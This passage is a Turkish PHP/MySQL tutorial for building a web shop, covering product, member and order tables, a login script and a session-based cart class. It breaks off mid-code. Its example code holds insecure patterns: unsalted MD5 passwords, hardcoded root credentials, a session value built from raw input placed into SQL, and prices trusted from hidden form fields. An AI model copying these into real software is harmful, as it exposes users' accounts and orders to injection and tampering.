acaba:&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  istediklerim:&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;  &lt;li&gt;&lt;br&gt;&lt;br /&gt;    &amp;Uuml;r&amp;uuml;n ad&amp;#305; &lt;/li&gt;&lt;br /&gt;  &lt;li&gt;&lt;br&gt;&lt;br /&gt;    fiyat&amp;#305; &lt;/li&gt;&lt;br /&gt;  &lt;li&gt;&lt;br&gt;&lt;br /&gt;    &amp;Uuml;r&amp;uuml;n detay&amp;#305; &lt;/li&gt;&lt;br /&gt;  &lt;li&gt;&lt;br&gt;&lt;br /&gt;    Stok durumu &lt;/li&gt;&lt;br /&gt;  &lt;li&gt;&lt;br&gt;&lt;br /&gt;    indirim oran&amp;#305; &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt;...&lt;br&gt;&lt;br /&gt;  v.s&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  gibi daha geni&amp;#351; bir veritaban&amp;#305; tablosu tasar&amp;#305;m&amp;#305;da istenebilir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Tablomuzu olu&amp;#351;tural&amp;#305;m:&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;CREATE TABLE `urunler` (&lt;br&gt;&lt;br /&gt;    `id` int(11) NOT NULL auto_increment,&lt;br&gt;&lt;br /&gt;    `urunadi` varchar(250) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `fiyat` int(11) NOT NULL default '0',&lt;br&gt;&lt;br /&gt;    `resim` varchar(200) default '',&lt;br&gt;&lt;br /&gt;    `detay` text NOT NULL,&lt;br&gt;&lt;br /&gt;    `stok` int(11) default '0',&lt;br&gt;&lt;br /&gt;    `indirim` int(4) default '0',&lt;br&gt;&lt;br /&gt;    `goster` char(1) default '1',&lt;br&gt;&lt;br /&gt;    `tarih` datetime default '0000-00-00 00:00:00',&lt;br&gt;&lt;br /&gt;    PRIMARY KEY (`id`)&lt;br&gt;&lt;br /&gt;    ) ENGINE=MyISAM DEFAULT CHARSET=latin5;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Tabloyu veritaban&amp;#305;na kaydettikten sonra i&amp;ccedil;ine &amp;uuml;r&amp;uuml;nlerimizi ekleyelim:&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;INSERT  INTO `urunler`(`urunadi`,`fiyat`,`resim`,`detay`) VALUES('Buz  dolab&amp;#305;','400','abcd1.jpg','Bu buzdolab&amp;#305; ile yaz&amp;#305; rahat ge&amp;ccedil;irin');&lt;br&gt;&lt;br /&gt;    INSERT  INTO `urunler`(`urunadi`,`fiyat`,`resim`,`detay`)  VALUES('Televizyon','200','abcd2.jpg','Bu televizyon ile rahats&amp;#305;z  olabilirsiniz');&lt;br&gt;&lt;br /&gt;    INSERT INTO `urunler`(`urunadi`,`fiyat`,`resim`,`detay`) VALUES('Kiatap','10','abcd3.jpg','Son y&amp;#305;llar&amp;#305;n en &amp;ccedil;ok okunan Kitab&amp;#305;');&lt;br&gt;&lt;br /&gt;    INSERT  INTO `urunler`(`urunadi`,`fiyat`,`resim`,`detay`) VALUES('incik  boncuk','4','abcd4.jpg','Sevgilinize bir k&amp;uuml;pe al&amp;#305;n onu mutlu edin');&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Ben &lt;strong&gt;&lt;em&gt;stok,indirim,goster,tarih gibi de&amp;#287;erleri girmedim&lt;/em&gt;&lt;/strong&gt;. Ama siz isterseniz sorguyu kendinize g&amp;ouml;re yeniden d&amp;uuml;zenleyebilirsiniz. &amp;#350;imdilik bu kadar&amp;#305; benim i&amp;ccedil;in yeterli.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  S&amp;#305;ra geldi sanal ma&amp;#287;azam&amp;#305;za gelecek olan hasan a&amp;#287;an&amp;#305;n &amp;uuml;r&amp;uuml;nlerimizden birisini nas&amp;#305;l alaca&amp;#287;&amp;#305;na.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Hasan  a&amp;#287;a,ahamet a&amp;#287;a ve daha bir&amp;ccedil;ok de&amp;#287;erli m&amp;uuml;&amp;#351;terimiz rahat&amp;ccedil;a ve  kapka&amp;ccedil;&amp;ccedil;&amp;#305;lardan korunsun diye onlara y&amp;uuml;ksek mertebeden bir &amp;uuml;yelik  verece&amp;#287;iz. Bir nevi sanal pasaport.&lt;br&gt;&lt;br /&gt;  Ma&amp;#287;aza &amp;ouml;yle sokak ortas&amp;#305;nda olmad&amp;#305;ndan her gelen mal&amp;#305; elleyemiyor yani.&lt;br&gt;&lt;br /&gt;  &amp;Uuml;yeler tablomuzu ben a&amp;#351;a&amp;#287;&amp;#305;daki gibi tasarlad&amp;#305;m ,e&amp;#287;er eksikse siz kendinize g&amp;ouml;re daha geni&amp;#351;ini tasarlay&amp;#305;n ;)&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;CREATE TABLE `uyeler` (&lt;br&gt;&lt;br /&gt;    `id` int(11) NOT NULL auto_increment,&lt;br&gt;&lt;br /&gt;    `ad` varchar(30) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `soyad` varchar(30) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `kullaniciadi` varchar(30) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `Email` varchar(60) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `sifre` varchar(32) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `sesid` varchar(70) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `onay` varchar(30) default '0',&lt;br&gt;&lt;br /&gt;    `il` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `ilce` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `semt` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `mahalle` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `adres` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `ceptel` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `tarih` date NOT NULL default '0000-00-00',&lt;br&gt;&lt;br /&gt;    PRIMARY KEY (`id`)&lt;br&gt;&lt;br /&gt;    ) ENGINE=MyISAM DEFAULT CHARSET=latin5; &lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;INSERT  INTO `uyeler`(`ad`,`soyad`,`kullaniciadi`,`Email`,`sifre`,`onay`)  VALUES('G&amp;ouml;k&amp;ccedil;e','&amp;Ccedil;&amp;#304;FT&amp;Ccedil;&amp;#304;','gciftci','gciftci@gmail.com',MD5('1234'),'1');&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &amp;Uuml;ye giri&amp;#351;i i&amp;ccedil;in PHP koldar&amp;#305;m&amp;#305;z&amp;#305; yazal&amp;#305;m.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;form.html&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;&amp;lt;FORM method="POST" action="giris.php" method=post&amp;gt;&lt;br&gt;&lt;br /&gt;    Kullan&amp;#305;c&amp;#305; ad&amp;#305;: &amp;lt;INPUT type=text name="kullaniciadi" value=""&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;#350;ifre: &amp;lt;INPUT type="password" name="sifre" value=""&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type=hidden name="durum" value="giris"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="submit" value="Giri&amp;#351; Yap"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/FORM&amp;gt;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;giris.php &lt;/strong&gt;program&amp;#305;m&amp;#305;z&amp;#305; yazal&amp;#305;m:&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;lt;?php&lt;br&gt;&lt;br /&gt;  session_start();&lt;br&gt;&lt;br /&gt;  $conn = mysql_connect("localhost", "kullan&amp;#305;c&amp;#305;ad&amp;#305;", "&amp;#351;ifre");&lt;br&gt;&lt;br /&gt;  if (!$conn) {&lt;br&gt;&lt;br /&gt;  echo "veritaban&amp;#305;na ula&amp;#351;&amp;#305;lamad&amp;#305;,kullan&amp;#305;c&amp;#305;ad&amp;#305;,&amp;#351;ifre yada localhost bilgisi yanl&amp;#305;&amp;#351; olabilir: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  if (!mysql_select_db("veritaban&amp;#305;ad&amp;#305;")) {&lt;br&gt;&lt;br /&gt;  echo "Veritaban&amp;#305; ad&amp;#305; do&amp;#287;ru de&amp;#287;il, yada yok: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if($_POST['durum'] == 'giris'){&lt;br&gt;&lt;br /&gt;  $kullaniciadi=htmlentities(mysql_real_escape_string($_POST['kullaniciadi']));&lt;br&gt;&lt;br /&gt;  $result = mysql_query("SELECT kullaniciadi,sifre FROM uyeler WHERE kullaniciadi='{$kullaniciadi}'") or die(mysql_error()); &lt;br&gt;&lt;br /&gt;  $row = mysql_fetch_array($result);&lt;br&gt;&lt;br /&gt;  if($row['kullaniciadi'] == ""){&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;b&amp;gt;Kullan&amp;#305;c&amp;#305; ad&amp;#305;n&amp;#305;z yada &amp;#351;ifreniz hatal&amp;#305;.&amp;lt;/b&amp;gt;";&lt;br&gt;&lt;br /&gt;  }else{&lt;br&gt;&lt;br /&gt;  if($row['onay'] == "0"){&lt;br&gt;&lt;br /&gt;  echo "Hesab&amp;#305;n&amp;#305;z&amp;#305; aktive etmek i&amp;ccedil;in Eposta adresinize g&amp;ouml;nderilen adresi t&amp;#305;klayarak giri&amp;#351; yapman&amp;#305;z gerekir"; exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  $sifre = $_POST['sifre'];&lt;br&gt;&lt;br /&gt;  if($row['sifre'] == md5($sifre)){&lt;br&gt;&lt;br /&gt;  $_SESSION['kullaniciadi'] = $_POST['kullaniciadi'];&lt;br&gt;&lt;br /&gt;  $_SESSION['uye'] = 'uyemiz'; &lt;br&gt;&lt;br /&gt;  header("Location: hesap.php");&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  else{&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;b&amp;gt;Kullan&amp;#305;c&amp;#305; ad&amp;#305;n&amp;#305;z yada &amp;#351;ifreniz hatal&amp;#305;.&amp;lt;/b&amp;gt;";&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }else{&lt;br&gt;&lt;br /&gt;  header("Location: form.html");&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  mysql_close($conn);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  kullan&amp;#305;c&amp;#305;m&amp;#305;z&amp;#305;n  bilgileri &amp;#351;ayet do&amp;#287;ru ise onu hesap.php program&amp;#305;na y&amp;ouml;nlendiriyoruz.  B&amp;ouml;ylece bilgilerini ve sipari&amp;#351;ini g&amp;ouml;rebilecek.&lt;br&gt;&lt;br /&gt;  &lt;strong&gt;hesap.php&lt;/strong&gt; program&amp;#305;m&amp;#305;z&amp;#305; yazal&amp;#305;m ama &amp;ouml;nce program i&amp;ccedil;inde kullanaca&amp;#287;&amp;#305;m&amp;#305;z sparis tablosunu olu&amp;#351;tural&amp;#305;m&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;Uuml;ye  tablomuz tamam.&amp;Uuml;ye giri&amp;#351;i i&amp;ccedil;in program&amp;#305;m&amp;#305;zda tamam, &amp;#350;imdi s&amp;#305;ra geldi  &amp;uuml;yelerimizin bize verece&amp;#287;i spari&amp;#351;i kaydetmeye. Bunun i&amp;ccedil;inde bir tablo  olu&amp;#351;tural&amp;#305;m. Ben &lt;strong&gt;siparis&lt;/strong&gt; ad&amp;#305;n&amp;#305; verece&amp;#287;im bu tabloyu a&amp;#351;a&amp;#287;&amp;#305;daki gibi tasarlad&amp;#305;m.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;CREATE TABLE `sparis` (&lt;br&gt;&lt;br /&gt;    `id` int(11) NOT NULL auto_increment,&lt;br&gt;&lt;br /&gt;    `uyeid` int(11) NOT NULL default '0',&lt;br&gt;&lt;br /&gt;    `sparis` varchar(100) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `fiyat` varchar(32) NOT NULL default '',&lt;br&gt;&lt;br /&gt;    `adet` int(10) default '1',&lt;br&gt;&lt;br /&gt;    `durumu` int(1) default '',&lt;br&gt;&lt;br /&gt;    PRIMARY KEY (`id`)&lt;br&gt;&lt;br /&gt;    ) ENGINE=MyISAM DEFAULT CHARSET=latin5;&lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;#351;imdilik  sipari&amp;#351; tablomuz bo&amp;#351;. Yukar&amp;#305;da bir kay&amp;#305;tl&amp;#305; kullan&amp;#305;c&amp;#305;m&amp;#305;z var onun ad&amp;#305;na  bir sipari&amp;#351; verece&amp;#287;iz zaten.Ozaman sipari&amp;#351; tablomuza nas&amp;#305;l kay&amp;#305;t  yap&amp;#305;ld&amp;#305;&amp;#287;&amp;#305;n&amp;#305; g&amp;ouml;rece&amp;#287;iz.&lt;br&gt;&lt;br /&gt;  &lt;strong&gt;hesap.php&lt;/strong&gt; program&amp;#305;m&amp;#305;z&amp;#305; &amp;#351;imdi yazabiliriz.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;lt;?php&lt;br&gt;&lt;br /&gt;  session_start();&lt;br&gt;&lt;br /&gt;  $conn = mysql_connect("localhost", "kullan&amp;#305;c&amp;#305;ad&amp;#305;", "&amp;#351;ifre");&lt;br&gt;&lt;br /&gt;  if (!$conn) {&lt;br&gt;&lt;br /&gt;  echo "veritaban&amp;#305;na ula&amp;#351;&amp;#305;lamad&amp;#305;,kullan&amp;#305;c&amp;#305;ad&amp;#305;,&amp;#351;ifre yada localhost bilgisi yanl&amp;#305;&amp;#351; olabilir: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  if (!mysql_select_db("veritaban&amp;#305;ad&amp;#305;")) {&lt;br&gt;&lt;br /&gt;  echo "Veritaban&amp;#305; ad&amp;#305; do&amp;#287;ru de&amp;#287;il, yada yok: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  if($_SESSION['kullaniciadi'] == '' || $_SESSION['uye'] == ''){&lt;br&gt;&lt;br /&gt;  header("Location: giris.php");&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  $kullaniciadi=$_SESSION['kullaniciadi'];&lt;br&gt;&lt;br /&gt;  $result1 = mysql_query("SELECT * FROM uyeler WHERE kullaniciadi='{$kullaniciadi}'");&lt;br&gt;&lt;br /&gt;  if (!$result1) {&lt;br&gt;&lt;br /&gt;  echo "Sorguda hata var ($sql) sorguyu g&amp;ouml;zden ge&amp;ccedil;irin: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  $row1 = mysql_fetch_assoc($result1);&lt;br&gt;&lt;br /&gt;  $uyeid=$row1['id'];&lt;br&gt;&lt;br /&gt;  $result = mysql_query("SELECT * FROM sparis WHERE uyeid='{$uyeid}'");&lt;br&gt;&lt;br /&gt;  if (mysql_num_rows($result) == 0) {&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;h2&amp;gt;Hi&amp;ccedil; sipari&amp;#351;iniz yok.&amp;lt;/h2&amp;gt;";&lt;br&gt;&lt;br /&gt;  echo "Sipari&amp;#351; vermek i&amp;ccedil;in l&amp;uuml;tfen &amp;lt;a href='sepet1.php'&amp;gt;Sipari&amp;#351; sayfas&amp;#305;&amp;lt;/a&amp;gt; n&amp;#305; t&amp;#305;klay&amp;#305;n.";&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  while ($row = mysql_fetch_assoc($result)) {&lt;br&gt;&lt;br /&gt;  echo $row['sparis'] . "- " . $row['fiyat'] . "- " . $row['adet']. "&amp;lt;br&amp;gt;\n";&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  mysql_free_result($result);&lt;br&gt;&lt;br /&gt;  mysql_close($conn);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Gelelim  veritaban&amp;#305;m&amp;#305;zda bulunan urunler adl&amp;#305; tablomuzda kay&amp;#305;tl&amp;#305; olan &amp;uuml;r&amp;uuml;nleri  ekrana yazd&amp;#305;rmaya. Bunun i&amp;ccedil;in a&amp;#351;a&amp;#287;&amp;#305;daki kodlar&amp;#305; yazd&amp;#305;m. Sade ve  anla&amp;#351;&amp;#305;l&amp;#305;r olmas&amp;#305;na &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;m. Ama dileyen dahada karma&amp;#351;&amp;#305;k hale  getirebilir ;)&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;strong&gt;sepet1.php &lt;/strong&gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;lt;?php&lt;br&gt;&lt;br /&gt;  $conn = mysql_connect("localhost", "root", "1234");&lt;br&gt;&lt;br /&gt;  if (!$conn) {&lt;br&gt;&lt;br /&gt;  echo "veritaban&amp;#305;na ula&amp;#351;&amp;#305;lamad&amp;#305;,kullan&amp;#305;c&amp;#305;ad&amp;#305;,&amp;#351;ifre yada localhost bilgisi yanl&amp;#305;&amp;#351; olabilir: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  if (!mysql_select_db("proje")) {&lt;br&gt;&lt;br /&gt;  echo "Veritaban&amp;#305; ad&amp;#305; do&amp;#287;ru de&amp;#287;il, yada yok: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  $sql  = "SELECT urunadi, fiyat, resim,detay FROM urunler"; # sorguda DESC ve  ORDER BY, GROUP BY ve LIMIT kullan&amp;#305;labilir. Bu size kalm&amp;#305;&amp;#351; bir&amp;#351;ey.&lt;br&gt;&lt;br /&gt;  $result = mysql_query($sql);&lt;br&gt;&lt;br /&gt;  if (!$result) {&lt;br&gt;&lt;br /&gt;  echo "Sorguda hata var ($sql) sorguyu g&amp;ouml;zden ge&amp;ccedil;irin: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  if (mysql_num_rows($result) == 0) {&lt;br&gt;&lt;br /&gt;  echo "Kay&amp;#305;tl&amp;#305; hi&amp;ccedil;bir bilgiye rastlanmad&amp;#305;.";&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  include("sepet2.php");&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;table&amp;gt;";&lt;br&gt;&lt;br /&gt;  while ($row = mysql_fetch_assoc($result)) {&lt;br&gt;&lt;br /&gt;  echo '&amp;lt;tr&amp;gt;&amp;lt;TD&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;img  src="'.$row["resim"].'" border=0&amp;gt;&amp;lt;br&amp;gt;'.$row["urunadi"].'  &amp;lt;br&amp;gt;'.$row["detay"].'&amp;lt;br&amp;gt;'.$row["fiyat"].'&amp;lt;/TD&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;TD&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;FORM method="POST" action="sepet1.php" method=post&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type=hidden name="durum" value=1&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="hidden" name="urun" value="'.$row["urunadi"].'"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="hidden" name="fiyat" value="'.$row["fiyat"].'"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="text" name="adet" size="3" value="1"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;INPUT type="submit" value="Sepete Ekle"&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/FORM&amp;gt;&lt;br&gt;&lt;br /&gt;  &amp;lt;/TD&amp;gt;&amp;lt;/tr&amp;gt;';&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  echo "&amp;lt;/table&amp;gt;";&lt;br&gt;&lt;br /&gt;  mysql_free_result($result);&lt;br&gt;&lt;br /&gt;  mysql_close($conn);&lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Kodlar&amp;#305;m&amp;#305;z&amp;#305; &lt;strong&gt;sepet1.php &lt;/strong&gt;olarak kaydettim ve &amp;ccedil;al&amp;#305;&amp;#351;t&amp;#305;rd&amp;#305;m. Her&amp;#351;ey yolunda. Yani istedi&amp;#287;im gibi &amp;uuml;r&amp;uuml;nlerimi ekran fiyat bilgisi ile birlikte ekrana yazd&amp;#305;.&lt;br&gt;&lt;br /&gt;  Sipari&amp;#351;  i&amp;ccedil;in tablomuzu okuttuk ve gereklibilgiler sayfaya yazd&amp;#305;r&amp;#305;ld&amp;#305; bu tamam.  S&amp;#305;ra geldi sepet temin etmeye. Y&amp;uuml;ksek mertebedeki &amp;uuml;yelerimize sepet  vermesek ay&amp;#305;p olur. Mallar elde ta&amp;#351;&amp;#305;nmaz karizmaya zarar. Sonra pi&amp;#351;man  olup birdaha ma&amp;#287;azaya gelmezler. M&amp;uuml;&amp;#351;teri veli nimetmizdir.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  Capiyto arkada&amp;#351;&amp;#305;m&amp;#305;z&amp;#305;n yazd&amp;#305;&amp;#287;&amp;#305; class kullanaca&amp;#287;&amp;#305;m. &amp;Ccedil;&amp;uuml;nk&amp;uuml; gayet kullan&amp;#305;&amp;#351;l&amp;#305;.&lt;br&gt;&lt;br /&gt;  bu kodlar&amp;#305;da &lt;strong&gt;sepet2.php &lt;/strong&gt;olarak kaydedelim.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;lt;?&lt;br&gt;&lt;br /&gt;  session_start();&lt;br&gt;&lt;br /&gt;  class sepet {&lt;br&gt;&lt;br /&gt;  var $sepetteki_urunler;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function sepet () {&lt;br&gt;&lt;br /&gt;  if (isset($_SESSION["sepetteki_urunler"])) {&lt;br&gt;&lt;br /&gt;  $this-&amp;gt;sepetteki_urunler = $_SESSION["sepetteki_urunler"];&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function sepete_ekle ($urun_no,$adet) {&lt;br&gt;&lt;br /&gt;  $this-&amp;gt;sepetteki_urunler[$urun_no] = $adet;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function sepetten_cikar ($urun_no,$adet) {&lt;br&gt;&lt;br /&gt;  if (isset($this-&amp;gt;sepetteki_urunler[$urun_no])) {&lt;br&gt;&lt;br /&gt;  if ($this-&amp;gt;sepetteki_urunler[$urun_no] &amp;gt; $adet) {&lt;br&gt;&lt;br /&gt;  $this-&amp;gt;sepetteki_urunler[$urun_no] = $adet;&lt;br&gt;&lt;br /&gt;  } else {&lt;br&gt;&lt;br /&gt;  unset($this-&amp;gt;sepetteki_urunler[$urun_no]);&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function sepeti_kaydet () {&lt;br&gt;&lt;br /&gt;  if (isset($this-&amp;gt;sepetteki_urunler)) $_SESSION["sepetteki_urunler"] = $this-&amp;gt;sepetteki_urunler;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function sepeti_listele () {&lt;br&gt;&lt;br /&gt;  if (isset($_SESSION["sepetteki_urunler"])) {&lt;br&gt;&lt;br /&gt;  return $_SESSION["sepetteki_urunler"];&lt;br&gt;&lt;br /&gt;  } else {&lt;br&gt;&lt;br /&gt;  return false;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  function oturum_kapat () {&lt;br&gt;&lt;br /&gt;  #session_destroy();&lt;br&gt;&lt;br /&gt;  $_SESSION["sepetteki_urunler"]='';&lt;br&gt;&lt;br /&gt;  header("Location: sepet2.php");&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  ?&amp;gt;&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &amp;lt;?php&lt;br&gt;&lt;br /&gt;  #&amp;#351;imdi yukar&amp;#305;daki class ile nas&amp;#305;l &amp;ccedil;al&amp;#305;&amp;#351;aca&amp;#287;&amp;#305;z onu ele alal&amp;#305;m.&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $yeni_sepet = new sepet;&lt;br&gt;&lt;br /&gt;  if ($_POST["durum"]==1) {&lt;br&gt;&lt;br /&gt;  $yeni_sepet-&amp;gt;sepete_ekle($_POST["urun"],$_POST["adet"]."-".$_POST["fiyat"]);&lt;br&gt;&lt;br /&gt;  $yeni_sepet-&amp;gt;sepeti_kaydet();&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if ($_POST["durum"]==2) {&lt;br&gt;&lt;br /&gt;  $yeni_sepet-&amp;gt;sepetten_cikar($_POST["urun"],$_POST["adet"]);&lt;br&gt;&lt;br /&gt;  $yeni_sepet-&amp;gt;sepeti_kaydet();&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if ($_POST["durum"]==3) {&lt;br&gt;&lt;br /&gt;  $yeni_sepet-&amp;gt;oturum_kapat();&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if ($_POST["durum"]==4) {&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  $conn = mysql_connect("localhost", "root", "1234");&lt;br&gt;&lt;br /&gt;  if (!$conn) {&lt;br&gt;&lt;br /&gt;  echo "veritaban&amp;#305;na ula&amp;#351;&amp;#305;lamad&amp;#305;,kullan&amp;#305;c&amp;#305;ad&amp;#305;,&amp;#351;ifre yada localhost bilgisi yanl&amp;#305;&amp;#351; olabilir: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if (!mysql_select_db("proje")) {&lt;br&gt;&lt;br /&gt;  echo "Veritaban&amp;#305; ad&amp;#305; do&amp;#287;ru de&amp;#287;il, yada yok: " . mysql_error();&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  if($_SESSION['kullaniciadi'] == '' || $_SESSION['uye'] == ''){&lt;br&gt;&lt;br /&gt;  header("Location: giris.php");&lt;br&gt;&lt;br /&gt;  exit;&lt;br&gt;&lt;br /&gt;  }&lt;br&gt;&lt;br /&gt;  &lt;br&gt;&lt;br /&gt;  